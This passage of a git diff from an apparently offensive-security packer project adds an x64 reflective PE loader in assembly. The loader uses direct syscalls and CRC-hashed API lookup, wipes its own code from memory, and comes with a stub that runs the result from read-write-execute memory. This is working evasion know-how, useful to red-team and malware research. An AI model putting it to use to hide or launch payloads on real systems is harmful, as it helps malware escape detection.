RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 - jmp r13 ; Call the AOE - \ No newline at end of file diff --git a/loader/loader_x86.asm b/loader/loader_x86.asm deleted file mode 100644 index d061fb3..0000000 --- a/loader/loader_x86.asm +++ /dev/null @@ -1,164 +0,0 @@ -;#===========================================# -;# x86 Reflective Loader # -;# Author: Ege Balcı # -;# Version: 2.0 # -;#===========================================# - -[BITS 32] - - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call $+5 ; Push the current EIP to stack - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push 0x40 ; PAGE_EXECUTE_READ_WRITE - push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - push dword [esp+0xC] ; dwSize - push 0 ; lpAddress - push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - push eax ; Save the new image base to stack - xor edx,edx ; Zero out the edx -relocate: - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,[eax+esi+0xA4] ; Base relocation table size - mov eax,[eax+esi+0xA0] ; Base relocation table RVA - add eax,esi ; Base relocation table memory address - add ecx,eax ; End of base relocation table -calc_delta: - mov edi,[esp] ; Move the new base address to EDI - sub edi,ebx ; Delta value - push dword [eax] ; Reloc RVA - push dword [eax+4] ; Reloc table size - add eax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp ecx,eax ; Check if the end of the reloc section ? - jle reloc_fin ; If yes goto fin - add esp,8 ; Deallocate old reloc RVA and reloc table size variables - push dword [eax] ; Push new reloc RVA - push dword [eax+4] ; Push new reloc table size - add eax,8 ; Move 8 bytes -fix: - cmp word [esp],8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov dx,word [eax] ; Move the reloc desc to dx - cmp dx,0 ; Check if it is a padding word - je pass - and dx,0x0FFF ; Get the last 12 bits - add edx,[esp+4] ; Add block RVA to desc value - add edx,esi ; Add the start address of the image - add dword [edx],edi ; Add the delta value to calculated absolute address -pass: - sub dword [esp],2 ; Decrease the index - add eax,2 ; Move to the next reloc desc. - xor edx,edx ; Zero out edx - jmp fix ; Loop -reloc_fin: - pop eax ; Deallocate all vars - pop eax ; ... - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],4 ; Increase the import names table index - add dword [esp+4],4 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov byte [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start - -; ========== API ========== -%include "CRC32_API/x86_crc32_api.asm" - -PE_start: - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - jmp edi ; Call the AOE \ No newline at end of file diff --git a/loader/syscall-loader-x64/build.sh b/loader/syscall-loader-x64/build.sh new file mode 100755 index 0000000..c374d15 --- /dev/null +++ b/loader/syscall-loader-x64/build.sh @@ -0,0 +1,33 @@ +#!/bin/bash +## ANSI Colors (FG & BG) +RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" +MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" +REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" +MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" +RESET="$(printf '\e[0m')" + +print_warning() { + echo ${YELLOW}"[!] ${RESET}${1}" +} +print_error() { + echo "${RED}[-] ${RESET}${1}" +} +print_fatal() { + echo -e ${RED}"[!] $1\n${RESET}" + kill -10 $$ +} +print_good() { + echo "${GREEN}[+] ${RESET}${1}" +} +print_status() { + echo "${YELLOW}[*] ${RESET}${1}" +} + +nasm -f bin syscall-loader-x64.asm -o shellcode || print_fatal "nasm failed!" +print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`" +[[ -f shellcode ]] && xxd -i shellcode shellcode.h + +x86_64-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!" +cp test.exe /tmp/ +rm shellcode shellcode.h +print_good "Build done!" diff --git a/loader/syscall-loader-x64/inc/calc_crc.asm b/loader/syscall-loader-x64/inc/calc_crc.asm new file mode 100644 index 0000000..3e1288f --- /dev/null +++ b/loader/syscall-loader-x64/inc/calc_crc.asm @@ -0,0 +1,34 @@ +[BITS 64] + + +calc_crc: + test dx,dx + je loc_1400039c9 + mov r8,rcx + movzx edx,dx + lea eax,[rdx-0x1] + lea rdx,[rcx+rax*1+0x1] + mov eax,0x0 +loc_1400039b8: + crc32 eax,BYTE [r8] + add r8,0x1 + cmp r8,rdx + jne loc_1400039b8 + jmp loc_1400039ea +loc_1400039c9: + movzx edx,BYTE [rcx] + test dl,dl + je loc_1400039eb + add rcx,0x1 + mov eax,0x0 +loc_1400039d9: + crc32 eax,dl + add rcx,0x1 + movzx edx,BYTE [rcx-0x1] + test dl,dl + jne loc_1400039d9 +loc_1400039ea: + ret +loc_1400039eb: + mov eax,0x0 + jmp loc_1400039ea \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/get_module_by_crc.asm b/loader/syscall-loader-x64/inc/get_module_by_crc.asm new file mode 100644 index 0000000..6909c4a --- /dev/null +++ b/loader/syscall-loader-x64/inc/get_module_by_crc.asm @@ -0,0 +1,37 @@ +[BITS 64] + + +get_module_by_crc: + push rdi + push rsi + push rbx + sub rsp,0x20 + mov esi,ecx + mov rax,QWORD gs:0x60 + mov rax,QWORD [rax+0x18] + lea rdi,[rax+0x20] + mov rbx,QWORD [rax+0x20] + cmp rdi,rbx + je loc_140102e89 +loc_140102e5d: + movzx edx,WORD [rbx+0x48] + mov rcx,QWORD [rbx+0x50] + call calc_crc + cmp eax,esi + je loc_140102e7d + mov rbx,QWORD [rbx] + cmp rdi,rbx + jne loc_140102e5d + mov eax,0x0 + jmp loc_140102e81 +loc_140102e7d: + mov rax,QWORD [rbx+0x20] +loc_140102e81: + add rsp,0x20 + pop rbx + pop rsi + pop rdi + ret +loc_140102e89: + mov eax,0x0 + jmp loc_140102e81 diff --git a/loader/syscall-loader-x64/inc/get_proc_by_crc.asm b/loader/syscall-loader-x64/inc/get_proc_by_crc.asm new file mode 100644 index 0000000..4e15834 --- /dev/null +++ b/loader/syscall-loader-x64/inc/get_proc_by_crc.asm @@ -0,0 +1,139 @@ +[BITS 64] + + +get_proc_by_crc: + push r15 + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x258 + mov rbx,rcx + mov r13d,edx + mov ebp,r8d + movsxd rax,DWORD [rcx+0x3c] + add rax,rcx + mov esi,DWORD [rax+0x88] + add rsi,rcx + mov eax,DWORD [rax+0x8c] + mov DWORD [rsp+0x2c],eax + mov r12d,DWORD [rsi+0x20] + mov r14d,DWORD [rsi+0x1c] + mov r15d,DWORD [rsi+0x24] + mov eax,DWORD [rsi+0x18] + test eax,eax + je loc_140003764 + mov eax,eax + mov QWORD [rsp+0x20],rax + mov edi,0x0 + add r12,rcx +loc_1400035dc: + mov ecx,DWORD [r12+rdi*4] + add rcx,rbx + mov edx,0x0 + call calc_crc + cmp ebp,edi + je loc_14000360b + cmp eax,r13d + je loc_14000360b + add rdi,0x1 + cmp QWORD [rsp+0x20],rdi + jne loc_1400035dc + mov eax,0x0 + jmp loc_140003738 +loc_14000360b: + lea rax,[rbx+rdi*2] + movzx eax,WORD [rax+r15*1] + lea rax,[rbx+rax*4] + mov eax,DWORD [rax+r14*1] + add rbx,rax + cmp rbx,rsi + jb loc_140003735 + mov eax,DWORD [rsp+0x2c] + add rsi,rax + cmp rbx,rsi + jae loc_140003735 + mov QWORD [rsp+0x30],0x0 + mov QWORD [rsp+0x38],0x0 + lea rdi,[rsp+0x40] + mov eax,0x0 + mov ecx,0x1e + rep stosq + mov DWORD [rdi],0x0 + mov QWORD [rsp+0x140],0x0 + mov QWORD [rsp+0x148],0x0 + lea rdi,[rsp+0x150] + mov ecx,0x1e + rep stosq + mov DWORD [rdi],0x0 + cmp BYTE [rbx],0x2e + je loc_14000374c + mov eax,0x1 +loc_14000369e: + mov r8,rax + add rax,0x1 + cmp BYTE [rbx+rax*1-0x1],0x2e + jne loc_14000369e + mov esi,r8d +loc_1400036af: + lea rcx,[rsp+0x30] + mov rdx,rbx + call memcpy + lea ecx,[rsi+0x1] + movsxd rcx,ecx + add rcx,rbx + cmp BYTE [rcx],0x0 + je loc_14000375c + mov eax,0x1 + movsxd rdx,esi + add rdx,rbx +loc_1400036d9: + mov r8,rax + add rax,0x1 + cmp BYTE [rdx+rax*1],0x0 + jne loc_1400036d9 +loc_1400036e6: + lea rax,[rsp+0x140] + mov rdx,rcx + mov rcx,rax + call memcpy + lea rcx,[rsp+0x30] + call load_module + mov rbx,rax + mov eax,0x0 + test rbx,rbx + je loc_140003738 + lea rcx,[rsp+0x140] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rbx + call get_proc_by_crc + mov rbx,rax +loc_140003735: + mov rax,rbx +loc_140003738: + add rsp,0x258 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + pop r15 + ret +loc_14000374c: + mov esi,0x0 + mov r8d,0x0 + jmp loc_1400036af +loc_14000375c: + mov r8d,0x0 + jmp loc_1400036e6 +loc_140003764: + mov eax,0x0 + jmp loc_140003738 \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/load_module.asm b/loader/syscall-loader-x64/inc/load_module.asm new file mode 100644 index 0000000..aabce1a --- /dev/null +++ b/loader/syscall-loader-x64/inc/load_module.asm @@ -0,0 +1,60 @@ +[BITS 64] + + +load_module: + push rdi + sub rsp,0x250 + mov r8,rcx + mov QWORD [rsp+0x248],0x0 + mov DWORD [rsp+0x234],0x0 + lea rdi,[rsp+0x20] + mov ecx,0x41 + mov eax,0x0 + rep stosq + cmp BYTE [r8],0x0 + je loc_140003873 + mov edx,0x1 +loc_1400037eb: + mov rax,rdx + add rdx,0x1 + cmp BYTE [r8+rdx*1-0x1],0x0 + jne loc_1400037eb + lea edx,[rax+rax*1] + mov WORD [rsp+0x230],dx + add edx,0x2 + mov WORD [rsp+0x232],dx + lea rdx,[rsp+0x20] + mov QWORD [rsp+0x238],rdx + sub eax,0x1 + js loc_140003837 + cdqe +loc_140003824: + movsx dx,BYTE [r8+rax*1] + mov WORD [rsp+rax*2+0x20],dx + sub rax,0x1 + test eax,eax + jns loc_140003824 +loc_140003837: + lea r9,[rsp+0x248] + lea r8,[rsp+0x230] + mov edx,0x0 + mov ecx,0x0 + mov r10, 0xB4EBB9A4 + call api_call + call rax ; + test eax,eax + js loc_14000386c + mov rax,QWORD [rsp+0x248] +loc_140003863: + add rsp,0x250 + pop rdi + ret +loc_14000386c: + mov eax,0x0 + jmp loc_140003863 +loc_140003873: + mov WORD [rsp+0x230],0x0 + mov WORD [rsp+0x232],0x2 + lea rax,[rsp+0x20] + mov QWORD [rsp+0x238],rax + jmp loc_140003837 \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/map_image.asm b/loader/syscall-loader-x64/inc/map_image.asm new file mode 100644 index 0000000..e3dd289 --- /dev/null +++ b/loader/syscall-loader-x64/inc/map_image.asm @@ -0,0 +1,63 @@ +[BITS 64] + + +map_image: + push rbp + push rdi + push rsi + push rbx + sub rsp,0x48 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + mov eax,0x0 + cmp DWORD [rdi],0x4550 + jne loc_1400020b8 + mov QWORD [rsp+0x38],0x0 + mov eax,DWORD [rdi+0x50] + mov QWORD [rsp+0x30],rax + lea rdx,[rsp+0x38] + mov DWORD [rsp+0x28],0x4 + mov DWORD [rsp+0x20],0x103000 + lea r9,[rsp+0x30] + mov r8d,0x0 + mov rcx,0xffffffffffffffff + mov r10, 0x99CE7C55 + call api_call + mov r10,rax + call syscall_api + ;call rax ; + mov edx,eax + mov eax,0x0 + test edx,edx + js loc_1400020b8 + mov r8d,DWORD [rdi+0x54] + mov rdx,rbp + mov rcx,QWORD [rsp+0x38] + call memcpy + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + cmp WORD [rdi+0x6],0x0 + je loc_1400020b3 + mov esi,0x0 +loc_14000208d: + mov ecx,DWORD [rbx+0xc] + add rcx,QWORD [rsp+0x38] + mov edx,DWORD [rbx+0x14] + add rdx,rbp + mov r8d,DWORD [rbx+0x10] + call memcpy + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jg loc_14000208d +loc_1400020b3: + mov rax,QWORD [rsp+0x38] +loc_1400020b8: + add rsp,0x48 + pop rbx + pop rsi + pop rdi + pop rbp + ret \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/memcpy.asm b/loader/syscall-loader-x64/inc/memcpy.asm new file mode 100644 index 0000000..7148460 --- /dev/null +++ b/loader/syscall-loader-x64/inc/memcpy.asm @@ -0,0 +1,17 @@ +[BITS 64] + +; memcpy(&dst, &src, size) +; RCX = &dst +; RDX = &src +; R8 = size +memcpy: + push rsi + push rdi + mov rdi,rcx + mov rsi,rdx + mov rcx,r8 +copy_byte: + rep movsb ; Copy the CX number of bytes from RSI to RDI + pop rdi ; Restore RDI + pop rsi ; Restore RSI + ret ; Return \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/protect_sections.asm b/loader/syscall-loader-x64/inc/protect_sections.asm new file mode 100644 index 0000000..0221dc0 --- /dev/null +++ b/loader/syscall-loader-x64/inc/protect_sections.asm @@ -0,0 +1,133 @@ +[BITS 64] + + +protect_sections: + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x50 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + mov QWORD [rsp+0x48],0x0 + cmp WORD [rdi+0x6],0x0 + je loc_140002e87 + mov esi,0x0 + mov r12d,0x0 + lea r14,[rsp+0x40] + lea r13,[rsp+0x48] + jmp loc_140002f50 +loc_140002e38: + mov ecx,0x1 +loc_140002e3d: + and eax,0x60000000 + mov r8d,0x1 + cmp eax,0x60000000 + mov r9d,0x20 + mov eax,0x80 + cmovne r9d,eax + jmp loc_140002eed +loc_140002e61: + mov r9d,0x20 + jmp loc_140002efd +loc_140002e6c: + mov eax,0x0 + jmp loc_140002e78 +loc_140002e73: + mov eax,0x1 +loc_140002e78: + add rsp,0x50 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + ret +loc_140002e87: + mov eax,0x1 + jmp loc_140002e78 +loc_140002e8e: + mov ecx,0x1 + mov r8d,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002e9e: + mov ecx,r12d + test eax,0x20000000 + je loc_140002eda + mov ecx,0x0 + test eax,eax + js loc_140002e3d + mov ecx,eax + shr ecx,0x1f + mov r8d,ecx + mov ecx,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002ec4: + test eax,0x20000000 + jne loc_140002e38 + mov ecx,0x1 + mov r9d,0x4 +loc_140002eda: + mov r8d,r12d +loc_140002edd: + and eax,0x60000000 + cmp eax,0x60000000 + je loc_140002e61 +loc_140002eed: + test cl,cl + je loc_140002efd + test r8b,r8b + mov eax,0x40 + cmovne r9d,eax +loc_140002efd: + mov eax,DWORD [rdx+0xc] + add rax,rbp + mov QWORD [rsp+0x48],rax + mov eax,DWORD [rdx+0x10] + mov QWORD [rsp+0x40],rax + mov DWORD [rsp+0x3c],0x0 + lea rax,[rsp+0x3c] + mov QWORD [rsp+0x20],rax + mov r8,r14 + mov rdx,r13 + mov rcx,0xffffffffffffffff + mov r10, 0x6EDE4D41 + call api_call + mov r10,rax ; + call syscall_api + test eax,eax + js loc_140002e6c +loc_140002f3d: + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jle loc_140002e73 +loc_140002f50: + mov rdx,rbx + mov eax,DWORD [rbx+0x24] + test eax,eax + je loc_140002f3d + mov r9d,eax + sar r9d,0x1f + and r9d,0xffffffc8 + add r9d,0x40 + test eax,0x40000000 + je loc_140002e9e + test eax,eax + js loc_140002ec4 + test eax,0x20000000 + jne loc_140002e8e + mov ecx,0x1 + mov r9d,0x2 + jmp loc_140002eda \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/relocate_image.asm b/loader/syscall-loader-x64/inc/relocate_image.asm new file mode 100644 index 0000000..ad8552a --- /dev/null +++ b/loader/syscall-loader-x64/inc/relocate_image.asm @@ -0,0 +1,58 @@ +[BITS 64] + + +relocate_image: + mov r9,rcx + movsxd rdx,DWORD [rcx+0x3c] + add rdx,rcx + mov eax,DWORD [rdx+0xb0] + mov ecx,0x0 + test eax,eax + je loc_14000261a + mov eax,eax + lea rcx,[r9+rax*1] + mov r10,r9 + sub r10,QWORD [rdx+0x30] + cmp DWORD [rcx],0x0 + jne loc_140002601 + mov ecx,0x1 + jmp loc_14000261a +loc_1400025bd: + mov edx,DWORD [rcx] + movzx r8d,WORD [rax] + and r8d,0xfff + add rdx,r8 + add QWORD [r9+rdx*1],r10 +loc_1400025d1: + add rax,0x2 + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + je loc_1400025f9 +loc_1400025e0: + movzx edx,BYTE [rax+0x1] + mov r8d,edx + and r8d,0xfffffff0 + cmp r8b,0xa0 + je loc_1400025bd + cmp dl,0xf + jbe loc_1400025d1 + jmp loc_1400025d1 +loc_1400025f9: + mov rcx,rax +loc_1400025fc: + cmp DWORD [rcx],0x0 + je loc_140002615 +loc_140002601: + lea rax,[rcx+0x8] + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + jne loc_1400025e0 + mov rcx,rdx + jmp loc_1400025fc +loc_140002615: + mov ecx,0x1 +loc_14000261a: + mov eax,ecx + ret \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/resolve_imports.asm b/loader/syscall-loader-x64/inc/resolve_imports.asm new file mode 100644 index 0000000..448373b --- /dev/null +++ b/loader/syscall-loader-x64/inc/resolve_imports.asm @@ -0,0 +1,85 @@ +[BITS 64] + + +resolve_imports: + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x20 + mov rbp,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0x90] + mov edx,0x0 + test eax,eax + je loc_140002966 + mov eax,eax + lea r12,[rcx+rax*1] + mov ecx,DWORD [r12+0xc] + test ecx,ecx + jne loc_14000292f + mov edx,0x1 + jmp loc_140002966 +loc_1400028cf: + mov edx,0x0 + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_1400028e4: + add rbx,0x8 + add rsi,0x8 + mov r8,QWORD [rbx] + test r8,r8 + je loc_140002922 +loc_1400028f4: + test r8,r8 + js loc_1400028cf + lea rcx,[rbp+r8*1+0x2] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_140002920: + jmp loc_1400028e4 +loc_140002922: + add r12,0x14 + mov ecx,DWORD [r12+0xc] + test ecx,ecx + je loc_14000295a +loc_14000292f: + mov ecx,ecx + add rcx,rbp + call load_module + mov rdi,rax + test rax,rax + je loc_140002961 + mov ebx,DWORD [r12] + add rbx,rbp + mov esi,DWORD [r12+0x10] + add rsi,rbp + mov r8,QWORD [rbx] + test r8,r8 + jne loc_1400028f4 + jmp loc_140002922 +loc_14000295a: + mov edx,0x1 + jmp loc_140002966 +loc_140002961: + mov edx,0x0 +loc_140002966: + mov eax,edx + add rsp,0x20 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + ret \ No newline at end of file diff --git a/loader/syscall-loader-x64/inc/run_tls_callbacks.asm b/loader/syscall-loader-x64/inc/run_tls_callbacks.asm new file mode 100644 index 0000000..65ca260 --- /dev/null +++ b/loader/syscall-loader-x64/inc/run_tls_callbacks.asm @@ -0,0 +1,36 @@ +[BITS 64] + + +run_tls_callbacks: + push rsi + push rbx + sub rsp,0x28 + mov rsi,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0xd0] + mov edx,0x0 + test eax,eax + je loc_1400033ad + mov eax,eax + mov rbx,QWORD [rcx+rax*1+0x18] + mov edx,0x1 + test rbx,rbx + jne loc_1400033ca +loc_1400033ad: + mov eax,edx + add rsp,0x28 + pop rbx + pop rsi + ret +loc_1400033b6: + mov r8d,0x0 + mov edx,0x1 + mov rcx,rsi + call rax + add rbx,0x8 +loc_1400033ca: + mov rax,QWORD [rbx] + test rax,rax + jne loc_1400033b6 + mov edx,0x1 + jmp loc_1400033ad \ No newline at end of file diff --git a/loader/syscall-loader-x64/stub.c b/loader/syscall-loader-x64/stub.c new file mode 100755 index 0000000..151a4ad --- /dev/null +++ b/loader/syscall-loader-x64/stub.c @@ -0,0 +1,10 @@ +#include +#include "shellcode.h" + +int main(int argc, char const *argv[]) +{ + char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, shellcode, sizeof(shellcode)); + (*(void(*)())BUFFER)(); + return 0; +} diff --git a/loader/syscall-loader-x64/syscall-loader-x64.asm b/loader/syscall-loader-x64/syscall-loader-x64.asm new file mode 100644 index 0000000..6a6459e --- /dev/null +++ b/loader/syscall-loader-x64/syscall-loader-x64.asm @@ -0,0 +1,62 @@ +;#==============================================# +;# X64 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#==============================================# +; +[BITS 64] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 + + call start ; Get the address of PE image to stack + incbin "putty.exe" ; PE file. +start: + pop rsi ; Get the address of PE to RSI + push rbp ; Save RBP + mov rbp,rsp ; Create a stack frame + mov rcx,rsi ; Move the image address as first parameter + call map_image ; Perform PE image mapping + mov rdi, rax ; Get the address of mapped PE image into RDI + mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter + call resolve_imports ; Resolve image imports + mov rcx, rdi ; Set the mapped image address as first parameter + call relocate_image ; Perform image base relocation + mov rcx, rdi ; Set the mapped image address as first parameter + call protect_sections ; Apply proper section memory protections + mov rcx, rdi ; Set the mapped image address as first parameter + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + xor rax, rax ; Clear out RAX + mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset + mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX + add rax,rdi ; Add the AOE onto new image base + jmp wipe ; Start wiping memory artifacts... + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x64.asm" + %include "../syscall_api/syscall_api.asm" + ;------------------------ FUNCTIONS ------------------------------------- +wipe: + wipe_code_size equ wipe_end-(wipe) + call $+5 ; Get current EIP to stack + pop rcx ; Pop currect EIP to RCX + sub rcx,rsi ; Calculate the size of the PE file + add rcx,wipe_code_size ; Add the size of wipe code + mov rdi,rsi ; Move the PE address to RDI + sub rdi,0x5 ; Go back 5 bytes for wiping the initial call as well +wipe_end: + rep stosb ; Store AL into RDI and decrement RDI until RCX = 0 + ; -------------------- SWITCH TO PE ---------------------------- + cld ; Clear direction flags + mov rsp, rbp ; Restore stack frame + pop rbp ; Restore RBP + jmp rax ; Jmp to the PE->AOE \ No newline at end of file diff --git a/loader/syscall_api b/loader/syscall_api new file mode 160000 index 0000000..5bcbda0 --- /dev/null +++ b/loader/syscall_api @@ -0,0 +1 @@ +Subproject commit 5bcbda0dabe0c6f9386b285bdf0c6a99a4a7e0fd diff --git a/main.go b/main.go index 728c147..f779861 100644 --- a/main.go +++ b/main.go @@ -1,17 +1,13 @@ package main import ( - "flag" - "fmt" - "log" "os" - "path/filepath" - "runtime" - "strings" "time" "github.com/EgeBalci/amber/config" amber "github.com/EgeBalci/amber/pkg" + "github.com/EgeBalci/amber/utils" + sgn "github.com/EgeBalci/sgn/pkg" "github.com/briandowns/spinner" "github.com/fatih/color" ) @@ -20,68 +16,63 @@ import ( var spinr = spinner.New(spinner.CharSets[9], 30*time.Millisecond) func main() { - - banner() - // Create a FlagSet and sets the usage - fs := flag.NewFlagSet(filepath.Base(os.Args[0]), flag.ExitOnError) - // Configure the options from the flags/config file - bp, encoder, err := config.ConfigureOptions(fs, os.Args[1:]) + printBanner() + cfg, err := config.Parse() if err != nil { - config.PrintUsageErrorAndDie(err) + utils.PrintFatal(err) } - green := color.New(color.FgGreen).Add(color.Bold) - spinr.Start() - status("File: %s\n", bp.FileName) - status("Build Stub: %t\n", bp.BuildStub) - status("Encode Count: %d\n", encoder.EncodingCount) - if bp.IAT { - status("API: IAT\n") - } else { - status("API: CRC\n") + encoder := sgn.NewEncoder() + encoder.EncodingCount = cfg.EncodeCount + encoder.ObfuscationLimit = cfg.ObfuscationLimit + cfg.PrintSummary() + // ------------------------------ + pe, err := amber.Open(cfg.FileName) + if err != nil { + utils.PrintFatal(err) } - // First analyze PE and generate a blueprint - spinr.Suffix = " Analyzing PE file..." - eror(bp.Analyze()) - if !bp.HasRelocData { - statusBad("%s has no relocation data.\n", bp.FileName) - if bp.ImageBase != 0x400000 { - statusBad("Can't switch to fixed address loader because ImageBase mismatch!\n") - } - status("Switching to fixed address loader...\n") + pe.SyscallLoader = cfg.UseSyscalls + + if !pe.HasRelocData { + utils.PrintErr("%s has no relocation data. Exiting...\n", pe.Name) + return + // if pe.ImageBase != 0x400000 { + // utils.PrintErr("Can't switch to fixed address loader because ImageBase mismatch!\n") + // } + // 